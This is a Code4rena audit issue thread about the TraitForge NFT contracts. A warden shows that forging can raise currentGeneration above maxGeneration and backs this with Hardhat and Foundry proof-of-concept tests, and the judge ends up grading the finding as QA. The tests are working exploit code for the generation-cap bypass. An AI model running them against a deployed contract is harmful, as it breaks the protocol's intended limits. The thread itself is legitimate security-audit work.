search

code-423n4 / 2024-07-traitforge-findings

2 stars 1 forks source link

The current generation can go over the maximum generation due to insufficient check #669

Closed howlbot-integration[bot] closed 2 months ago

howlbot-integration[bot] commented 3 months ago

Lines of code

https://github.com/code-423n4/2024-07-traitforge/blob/279b2887e3d38bc219a05d332cbcb0655b2dc644/contracts/TraitForgeNft/TraitForgeNft.sol#L166

Vulnerability details

Impact

The current generation can go over the maximum generation due to insufficient check

Proof of Concept

The current generation must only go as far as the maximum generation set:

uint256 public maxGeneration = 10;

Whenever we forge an NFT, we have the following 2 lines:

uint256 newGeneration = getTokenGeneration(parent1Id) + 1;

/// Check new generation is not over maxGeneration
require(newGeneration <= maxGeneration, "can't be over max generation");

Then, we call _mintEntity() where we have the following 2 lines:

require(generationMintCounts[gen] < maxTokensPerGen, 'Exceeds maxTokensPerGen');
...
if (generationMintCounts[gen] >= maxTokensPerGen && gen == currentGeneration) { 
      _incrementGeneration();
}
...

After the require statement, minting occurs and then we have the if check for the maximum allowed NFTs per generation which if we have reached, we increment the generation:

  function _incrementGeneration() private {
    require(generationMintCounts[currentGeneration] >= maxTokensPerGen, 'Generation limit not yet reached');
    currentGeneration++;
    generationMintCounts[currentGeneration] = 0;
    priceIncrement = priceIncrement + priceIncrementByGen;
    entropyGenerator.initializeAlphaIndices();
    emit GenerationIncremented(currentGeneration);
  }

There, we have the same require statement about the maximum allowed tokens per generation.

In reality, the check about the maximum generation we saw earlier is insufficient.

Let's imagine a scenario with the following state:

  1. 2 NFTs from the 9th generation forge and mint an NFT in the 10th generation
  2. We pass this check as 10 == 10: 
    require(newGeneration <= maxGeneration, "can't be over max generation");
  3. We go in _mintNewEntity() and pass this check as 9999 < 10000: 
    require(generationMintCounts[gen] < maxTokensPerGen, 'Exceeds maxTokensPerGen');
  4. Minting and state changes happen, with one of them being: 
    generationMintCounts[gen]++;
  5. Now, the minted NFTs for generation 10 are 10000 which is also the maximum
  6. We end up in this if statement as 10000 == 10000 and 10 == 10: 
    if (generationMintCounts[gen] >= maxTokensPerGen && gen == currentGeneration) {
  _incrementGeneration();
}
  7. We successfully increment the generation to 11 which is above the maximum

This successfully breaks one of the core protocol invariants.

Tools Used

Manual Review

Recommended Mitigation Steps

Handle the case where the generation might increase over the maximum when forging

Assessed type

Invalid Validation

samuraii77 commented 2 months ago

This issue should not be duplicated to my other finding (#666).

As I have stated there, the root cause of this one is an insufficient but existing check while the root cause there is a completely non-existing check.

This one has been handled, albeit unsuccessfully while the other one hasn't been handled, they are different issues.

koolexcrypto commented 2 months ago

Please provide the difference in a clear way between the root cause for both, so that I can re-evaluate it

samuraii77 commented 2 months ago

@koolexcrypto, hello. I will explain it now but you can also check my other finding (#666) for it to become even more clear as I expected such a duplication might happen and left an explanation in the report during the contest as to why no duplication between these two issues should happen.

We can see that in the forging function flow, we have an existing check:

require(newGeneration <= maxGeneration, "can't be over max generation");

As explained in the report, this check is not actually correct and it is insufficient, you can check my report as to why exactly that is the case. However, the main point is that the protocol tried to handle the case of going over the max generation. This is in the forging flow.

My other issue is about the usual minting flow. The root cause there is that the case where we go over the max generation is not handled at all.

Simply put, root cause of this issue is an attempt to handle that case but an incorrect implementation, root cause there is no attempt to handle that case, they are different. Furthermore, the places in code where these occur are completely different - one is the forging flow, the other one is the minting flow.

koolexcrypto commented 2 months ago

@samuraii77

Could you please provide a PoC for this (How through forging it is possible to bypass the maximum generation)?

samuraii77 commented 2 months ago

@koolexcrypto, here is the POC. You will have to make a few changes to the code to make it work as I have never used Hardhat before and these changes made it a lot easier for me to write the POC as I don't know any commands (still took me a few hours lol). Sorry for making you have to make these changes but they are pretty simple and it otherwise would have taken me a whole day.

The changes you have to make:

Paste the following POC into EntityForging.test.ts:

  describe.only('can go over max generation in forging flow', () => {
    it ('test', async () => {
      const initialGen = await nft.currentGeneration();
      const maxGen = await nft.maxGeneration();
      let currentMintsForInitialGen = await nft.generationMintCounts(initialGen);
      const maxMintsPerGen = await nft.maxTokensPerGen();

      let mergerToken;
      let forgerToken;

      expect(initialGen).to.equal(1);
      expect(maxGen).to.equal(2); // @note -> Changed max generation to 2 to not have to mint 10 generations
      expect(currentMintsForInitialGen).to.equal(4); // 4 NFTs were minted from somewhere during setup I guess
      expect(maxMintsPerGen).to.equal(100); // @note -> Changed maxMintsPerGeneration to be 100 to not run a ton of loops

      // @note -> Removed whitelist modifier on mintToken()

      while (currentMintsForInitialGen != maxMintsPerGen) {
        await nft.mintToken([]); // @note -> Changed calculateMintPrice() to always return 0
        currentMintsForInitialGen = await nft.generationMintCounts(initialGen);
      }
      // @note -> Removed onlyOwner modifier on initializeAlphaIndices

      await nft.mintToken([]); // Mint to get to next gen
      const secondGen = await nft.currentGeneration();
      expect(secondGen).to.equal(2); // Reached second gen

      while (await nft.generationMintCounts(secondGen) < 99n) {
        await nft.mintToken([]);
      }

      for (let i = 10; i < 50; i++) { // Get a merger and a forger token
        if (await nft.isForger(i)) {
          forgerToken = i;
          if (mergerToken != undefined) break;
        } else {
          mergerToken = i;
          if (forgerToken != undefined) break;
        }
      }
      // @note -> Removed minimum list fee

      expect(await nft.generationMintCounts(secondGen)).to.equal(99); // 99 mints in 2nd gen
      expect(await nft.currentGeneration()).to.equal(2);
      if (forgerToken != undefined && mergerToken != undefined) {
        await nft.specialTransferFunction(mergerToken, user1); // @note -> Added speial transfer function

        await entityForging.listForForging(forgerToken, 0);
        await entityForging.connect(user1).forgeWithListed(forgerToken!, mergerToken!)
      }
      expect(await nft.generationMintCounts(secondGen)).to.equal(100);
      expect(await nft.currentGeneration()).to.equal(3); // Third generation through forging

      await nft.mintToken([]); // Successful mint in third gen
    })
  })
quentin-abei commented 2 months ago

The changes you have to make: Change maxGeneration to 2 in TraitForgeNft (this is to avoid having to increment all the way up to 10th generation) Change maxTokensPerGen to 100 in TraitForgeNft (this is to avoid having to mint 10000 NFTs to get to next gen) Change TraitForgeNft::calculateMintPrice() to always return 0 (this is to avoid having to send msg.value and fund accounts) Remove the whitelist modifier on TraitForgeNft::mintToken() (to avoid having to use a merkle proof and time warps) Remove onlyOwner modifier on EntropyGenerator::onlyOwner() (had an access control issue so it was easier to remove, I think it's related to one of the confirmed issues) Removed the minimum list fee check in EntityForging::listForForging() (again to avoid having to send msg.value) Add this function in TraitForgeNft (had no idea how to get the address of the test contract so I can transfer the NFT, thus used this instead, that way I can pass the check for non-same merger and forger NFT owner):

This PoC is not runnable as is but instead require a lot of change to be made to the current codebase . These change proposed by the warden are there to suit his narrative ( lead to confusion and outpout what he wants ) . I could not run it on my machine knowing he is proposing to change a lot of things in the codebase before , thus this issue is invalid .

samuraii77 commented 2 months ago

Can you specify which of the changes change the output to fit my narrative?

koolexcrypto commented 2 months ago

Thank you for your feedback.

Unfortunately, I can't spend too much time to prove this. The original report didn't provide a sufficient PoC. after requesting the PoC, it is incomplete and requires a lot of changes. Those changes need to be verified that they don't change the behaviour of the code. Therefore, this issue will remain as is.

Wardens have the burden of proof in submissions. Explaining and rationalizing the potential impact is an essential part of a quality submission. The burden of proof increases based on the potential value of the submission (rarity, severity).

Insufficient proof shall be defined as the judge needing to do additional research or coding in order to validate the claims made in the submission. Therefore it is recommended to have a coded proof of concept for high severity findings in order to make it easy for a judge to validate your case.

Submissions which judges deem insufficiently proven will not be eligible for anything higher than a satisfactory score.

Please read this to understand my position

https://docs.code4rena.com/roles/wardens/submission-guidelines#burden-of-proof

koolexcrypto commented 2 months ago

The changes you have to make: Change maxGeneration to 2 in TraitForgeNft (this is to avoid having to increment all the way up to 10th generation) Change maxTokensPerGen to 100 in TraitForgeNft (this is to avoid having to mint 10000 NFTs to get to next gen) Change TraitForgeNft::calculateMintPrice() to always return 0 (this is to avoid having to send msg.value and fund accounts) Remove the whitelist modifier on TraitForgeNft::mintToken() (to avoid having to use a merkle proof and time warps) Remove onlyOwner modifier on EntropyGenerator::onlyOwner() (had an access control issue so it was easier to remove, I think it's related to one of the confirmed issues) Removed the minimum list fee check in EntityForging::listForForging() (again to avoid having to send msg.value) Add this function in TraitForgeNft (had no idea how to get the address of the test contract so I can transfer the NFT, thus used this instead, that way I can pass the check for non-same merger and forger NFT owner):

This PoC is not runnable as is but instead require a lot of change to be made to the current codebase . These change proposed by the warden are there to suit his narrative ( lead to confusion and outpout what he wants ) . I could not run it on my machine knowing he is proposing to change a lot of things in the codebase before , thus this issue is invalid .

Please keep things professional and constructive.

samuraii77 commented 2 months ago

How did the original report not try to provide a sufficient POC? I understand that there is a lot of issues in this contest and a lot of work but please, this is not professional from your side. In the issue, I have explained step-by-step how and why the issue exists, literally step-by-step. Coded POCs are not required and furthermore I provided one once requested.

It is the judge's work to verify an issue, I understand that you are tired from all those other issues but you can't say that the issue was not sufficiently explained when it's explained step-by-step.

It is a completely valid issue, can easily be seen by just following the step-by-step process I have created in the issue in less than 5 minutes. You can also verify that my POC doesn't change anything, the reason for the changes are because I would have to run 10_000 * 10 = 100_000 loop iterations to get to the max generation (currently trying to do it but the POC is not even running as it's doing 100_000 iterations), the other change is regarding not sending ETH with the transaction - that's obviously not gonna change the results, also removed the modifiers which one of them is just for the whitelist while the other one is related to issue #213. I am trying to change the POC now but as I said, 100_000 iterations are not working, been waiting for 5 minutes for the POC to run.

I am not required to write a coded POC at all however I still wrote one to help, it's not absolutely perfect but definitely sufficient. Since I explained the issue absolutely perfectly and step-by-step, you can't have an argument that it wasn't sufficiently explained.

samuraii77 commented 2 months ago

@koolexcrypto, to make your work easier, I spent my morning trying to write the POC without changing anything. It didn't work in Hardhat for some reason, I am assuming because of the 100_000 iterations but made it work in Foundry without changing anything, just as you requested. This is my whole test file that I put into Counter.t.sol, after initializing a Foundry project in the main directory and installing the @4.9.3 version of openzeppelin (the one the project uses):

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import { Test, console } from '../lib/forge-std/src/Test.sol';
import { Counter } from '../src/Counter.sol';
import "../contracts/EntropyGenerator/EntropyGenerator.sol";
import "../contracts/DevFund/DevFund.sol";
import "../contracts/Airdrop/Airdrop.sol";
import "../contracts/TraitForgeNft/TraitForgeNft.sol";
import "../contracts/EntityForging/EntityForging.sol";

contract CounterTest is Test {
  address public owner = makeAddr('owner');

  EntropyGenerator public entropyGenerator;
  DevFund public devFund;
  Airdrop public airdrop;
  TraitForgeNft public traitForgeNft;
  EntityForging public entityForging;

  function setUp() public {
    vm.startPrank(owner);
    devFund = new DevFund();
    entropyGenerator = new EntropyGenerator(owner);
    airdrop = new Airdrop();
    traitForgeNft = new TraitForgeNft();
    entityForging = new EntityForging(address(traitForgeNft));
    traitForgeNft.setEntityForgingContract(address(entityForging));
    traitForgeNft.setEntropyGenerator(address(entropyGenerator));
    entropyGenerator.setAllowedCaller(address(traitForgeNft));
    traitForgeNft.setAirdropContract(address(airdrop));
    airdrop.transferOwnership(address(traitForgeNft));
    entropyGenerator.transferOwnership(address(traitForgeNft));
    vm.stopPrank();
  }

  function testSomeStuff() public {
    vm.pauseGasMetering(); // Ran out-of-gas without this command, not sure if it's necessary but it helped me, first time I see it to be honest
    address user1 = makeAddr('user1');
    address user2 = makeAddr('user2');
    deal(user1, 100000e18); // Create user addresses and fund the first user

    uint256 maxGen = traitForgeNft.maxGeneration(); // The max generation - 10
    uint256 maxMintsPerGen = traitForgeNft.maxTokensPerGen(); // Max mints per gen - 10_000

    entropyGenerator.writeEntropyBatch1();
    entropyGenerator.writeEntropyBatch2();
    entropyGenerator.writeEntropyBatch3(); // Initialize the entropy batches

    bytes32[] memory proof = new bytes32[](1); // Empty proof
    vm.warp(block.timestamp + 1 weeks); // Warp 1 week to avoid having to use merkle proofs
    vm.startPrank(user1); // Prank user1

    while (traitForgeNft.currentGeneration() != maxGen) {
      traitForgeNft.mintToken{ value: user1.balance }(proof);
    } // Mint until we reach max gen

    assertEq(traitForgeNft.currentGeneration(), maxGen); // Current gen is 10

    while (traitForgeNft.generationMintCounts(maxGen) < 9999) { // Mint until we reach 9999 mints in max gen
      traitForgeNft.mintToken{ value: user1.balance }(proof);
    }

    assertEq(traitForgeNft.generationMintCounts(maxGen), 9999); // 9999 mints in max gen

    uint256 forgerToken;
    uint256 mergerToken;

    for (uint256 i = 85000; i < 86000; i++) { // Get a merger and a forger token in the 9th gen
        if (traitForgeNft.isForger(i)) {
          forgerToken = i;
          if (mergerToken != 0) break;
        } else {
          mergerToken = i;
          if (forgerToken != 0) break;
        }
    }
    assert(forgerToken != 0);
    assert(mergerToken != 0);
    assertEq(traitForgeNft.getTokenGeneration(forgerToken), maxGen - 1);
    assertEq(traitForgeNft.getTokenGeneration(mergerToken), maxGen - 1);
    // Successfully got the merger and forger tokens in the 9th gen

    traitForgeNft.transferFrom(user1, user2, forgerToken); // Transfer from user1 to user2, that way we don't revert on the same merger and forger check
    vm.stopPrank();

    vm.prank(user2);
    entityForging.listForForging(forgerToken, 0.01 ether); // User2 lists for forging

    assertEq(traitForgeNft.generationMintCounts(maxGen), maxMintsPerGen - 1);
    assertEq(traitForgeNft.currentGeneration(), maxGen); // Nothing оut of the ordinary, current gen is the max one and we are at 9999 mints
// This is exactly the state I mentioned in my report:
    /*
    Let's imagine a scenario with the following state:

       - maxGeneration = 10
       - currentGeneration = 10
       - NFTs minted in currentGeneration = 9999
    */

    vm.prank(user1);
    entityForging.forgeWithListed{ value: 0.01 ether }(forgerToken, mergerToken); // Forge

    assertEq(traitForgeNft.generationMintCounts(maxGen), maxMintsPerGen);
    assertEq(traitForgeNft.currentGeneration(), maxGen + 1); // Successfully passes the maximum generation using the forging flow
  }
}

Hope this helps you.

quentin-abei commented 2 months ago

@samuraii77 , after going through other issues , I think this issue is a dup of : https://github.com/code-423n4/2024-07-traitforge-findings/issues/217 which have been validated already . Let me know if you think the same . @koolexcrypto please look at the issue #217 , this issue is a dup of it

samuraii77 commented 2 months ago

@quentin-abei, that's the point of my escalation, they are not duplicates however they are currently duplicated.

quentin-abei commented 2 months ago

@samuraii77 I saw your new PoC , it’s proving that max gen can be exceeded, #217 is also proving the same thing . However I mark this as my last input here . I let you and judge decide .

koolexcrypto commented 2 months ago

@samuraii77

To clear a point, not the judge's job to help with the PoC in any way. This burden is on the warden and it increases based on the potential value. Separating this issue will make it a rare one (in case it is different). Therefore, the burden grows. If the judge has doubts, they have the right to request for additional input/proof or info that help assessing the validity of the argument.

From the docs:

Wardens have the burden of proof in submissions. Explaining and rationalizing the potential impact is an essential part of a quality submission. The burden of proof increases based on the potential value of the submission (rarity, severity).

Also, regarding this

I am not required to write a coded POC at all however I still wrote one to help,

If the judge asks for a coded PoC, the warden should provide it especially such a sensitive case. When you provide it, you are helping your self, I don't get any bonus from validating or invalidating any issue. The judge job is to ensure correctness of the claims.

samuraii77 commented 2 months ago

@koolexcrypto, I agree with you and about the last point, I meant in the actual issue report, not during PJQA. Of course, if you require a POC afterwards to confirm the validity, I am more than happy to provide one, like I did. My point was mostly about the fact that you mentioned that it wasn't sufficiently explained in the report which I disagree with.

koolexcrypto commented 2 months ago

@koolexcrypto, I agree with you and about the last point, I meant in the actual issue report, not during PJQA. Of course, if you require a POC afterwards to confirm the validity, I am more than happy to provide one, like I did. My point was mostly about the fact that you mentioned that it wasn't sufficiently explained in the report which I disagree with.

The original report PoC is insufficient. For such issues, coded PoC may be required to push away any doubts when evaluating them. The coded PoC was provided with changes, it add a burden on the judge to verify that those changes don't affect the code in a way that validate the issue falsely.

koolexcrypto commented 2 months ago

I'm more than happy to validate issues that are valid. as SR and a judge, I respect and understand the efforts put into finding a bug and proving it. I appreciate that you provided a second PoC without changes. I will re-evaluate.

koolexcrypto commented 2 months ago

The PoC looks great, thanks for the comments and assertions in the code.

So, in this issue (the last PoC), forgeWithListed will succeed since we have one token left from gen 10th. Now, a new token forged (minted), currentGeneration will increment becoming 11. but there are no tokens of gen 11 as I see atm?

koolexcrypto commented 2 months ago

The fix in #217 is incorrect and will cause an issue preventing minting the last token of gen 10.

koolexcrypto commented 2 months ago

The other issue #666 is about minting directly. This issue claims that this check in forge is insufficient require(newGeneration <= maxGeneration, "can't be over max generation");

But what's the impact? the users don't seem to be able to forge tokens on gen 11. because

    uint256 newGeneration = getTokenGeneration(parent1Id) + 1; // => parentId 10 + 1 => 11

    /// Check new generation is not over maxGeneration
    require(newGeneration <= maxGeneration, "can't be over max generation"); // =. therefore, this will revert

To me, this check is sufficient. and no tokens on gen 11 will be minted.

samuraii77 commented 2 months ago

Yes but we have successfully reached the 11th generation which breaks the invariant.

Now, here is the thing - we can mint as per usual now in the 11th generation but that's in a way possible because of the bug my issue is duplicated to. We can't assume what the code would have been if that other bug didn't exist and how it would have handled the case where we are over the generation (for example, depending on how the max generation is handled there, we might not handle the case where the generation is already over the generation, they might only handle the case where we currently go over the max generation which I believe is a reasonable assumption - that scenario would allow minting in the 11th generation if we reached that before the mint as my issue allows).

I believe we should base our information based on what we know and that is the fact that we went over the max generation using the forging flow which I believe is sufficient for a valid bug.

koolexcrypto commented 2 months ago

@samuraii77 please check https://github.com/code-423n4/2024-07-traitforge-findings/issues/669#issuecomment-2334730967 in case you missed it

koolexcrypto commented 2 months ago

we can mint as per usual now in the 11th generation but that's in a way possible because of the bug my issue is duplicated to

It is just a different exploit but the root cause seems to be the same. Once that's fixed, that issue and this issue can not happen. The only side effect of this issue is the currentGeneration is 11 but no impact caused by that.

koolexcrypto commented 2 months ago

Findings are duplicates if they share the same root cause.

More specifically, if fixing the Root Cause (in a reasonable manner) would cause the finding to no longer be exploitable, then the findings are duplicates.

Given the above, when similar exploits would demonstrate different impacts, the highest, most irreversible would be the one used for scoring the finding. Duplicates of the finding will be graded based on the achieved impact relative to the Submission Chosen for Report.

https://docs.code4rena.com/awarding/judging-criteria#similar-exploits-under-a-single-issue

koolexcrypto commented 2 months ago

Based on this, the issue is a duplicate

samuraii77 commented 2 months ago

Yes, I saw it after my comment but my point still applies.

My report is about going over the maximum generation using the forging flow which I already proved is possible.

Now, the thing is that NFTs can not be forged in that new generation using the forging flow - that is correct, yes. However, the impact is unclear due to the other bug. We can not possibly assume what the correct code would be without that other bug.

For example, we might just have a check that disallows going from max gen to max gen + 1 during the minting process. That would be absolutely correct code in the minting flow but as we are already at max gen + 1 due to the forging flow bug, we would still be able to mint in the 11th gen. Thus, it's unknown whether the issue would have had impact with the other bug not existing, I believe we should base the validity based on information we have and that information is that we went over the maximum generation which I believe is a valid bug, we can't just assume it has no impact as we have no idea what the fix would be or what the code there would be without that bug.

Note that my report is about going over the maximum generation with the forging flow, not minting in the max generation + 1 using the forging flow.

samuraii77 commented 2 months ago

we can mint as per usual now in the 11th generation but that's in a way possible because of the bug my issue is duplicated to

It is just a different exploit but the root cause seems to be the same. Once that's fixed, that issue and this issue can not happen. The only side effect of this issue is the currentGeneration is 11 but no impact caused by that.

Hi, please read my latest comment, particularly the third paragraph. @koolexcrypto

koolexcrypto commented 2 months ago

Note that my report is about going over the maximum generation with the forging flow, not minting in the max generation + 1 using the forging flow

Exactly , therefore at most a QA, as there is no impact demonstrated.

c4-judge commented 2 months ago

koolexcrypto marked the issue as not a duplicate

c4-judge commented 2 months ago

koolexcrypto changed the severity to QA (Quality Assurance)

c4-judge commented 2 months ago

koolexcrypto marked the issue as grade-c

samuraii77 commented 2 months ago

Interesting decision, I will assume you have made a series of questionable decisions (not just on this issue) due to the high amount of issues and escalations, thanks for your time though 🙂